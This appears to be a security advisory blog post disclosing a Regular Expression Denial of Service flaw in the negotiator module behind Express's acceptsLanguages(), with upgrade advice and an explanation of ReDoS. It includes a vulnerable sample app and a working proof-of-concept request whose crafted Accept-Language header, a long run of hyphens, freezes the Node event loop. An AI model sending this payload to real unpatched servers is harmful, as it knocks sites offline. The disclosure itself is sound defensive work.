Regular Expression Denial of Service affecting Express.js

At the end of April I found a flaw in a module that Express and many other frameworks use. This flaw allows a remote attacker to block the event loop of a remote site causing a Denial of Service effectively blocking the site from being accessed. This type of attack is known as a Regular Expression Denial of Service attack and we’ve found it to be quite common in applications and modules we test.

express.js is the most popular web framework for node.js. It frequently gets over 5 million downloads a month and a quick search on shodan shows over 200k web servers online claiming to be powered by express, and that’s not even including those servers that don’t report their server version.

The identified flaw relies on the express app using a feature called acceptsLanguages() commonly used for determining the preferred language of the client based on the Accepts-Language header. A quick grep for the “acceptsLanguages” function call in your application will tell you if you are using it in any way. If you found it, chances are you’re vulnerable. Either way you should upgrade to Express 4.14 or greater.

Here is a quick example of a vulnerable express application. I added 1 line to the express Hello World example.

var express = require(‘express’);
var app = express();


app.get(‘/’, function (req, res) {
 req.acceptsLanguages(‘es’); 
res.send(‘Hello World!’);
});

app.listen(3000, function () {
console.log(‘Example app listening on port 3000!’);
});

To attack this application and cause a denial of service we need to provide an Accept-Language header that is specially crafted to trigger the catastrophic condition with the regular expression parser.

var http = require('http');
var req = http.request({
host: ‘localhost’,
port: 3000,
headers: {
'Accept-Language': 'a' + Array(60000).join('-') + '>'
}
}, (res) => {
});
req.end();

The flaw is due to a Regular Expression Denial of Service flaw in negotiator, the library that Express uses for this feature.

If you aren’t familiar with what ReDoS is, it is part of a class of attacks called algorithmic complexity attacks. Although that sounds highly technical and confusing, it’s simply a fancy way of saying that it is an input that causes an algorithm to run in the most inefficient way possible. In node.js, this is particularly impacting, as it blocks the event loop, so all processing, even asynchronous communications like file system access or networking will fail.

ReDoS generally occurs when an application uses a Regular Expression that either includes repetitive matching on a complex subexpression, or includes repetitive matching of a simple subexpression that also partially matches another subexpression.

A handy tool to review a regular expression is safe-regex, but be warned it’s very false positive prone.

The Node Security Platform has your back.

This vulnerability was found during a manual audit as part of the verified module auditing efforts of the Node Security Platform. These efforts are only possible because of the financial contributions of our integration partners: every one of you that subscribes to nsp Live, Pull Request auditing or our penetration testing services. Not only do we get to help make your app more secure, we get to help the community while we do it. ❤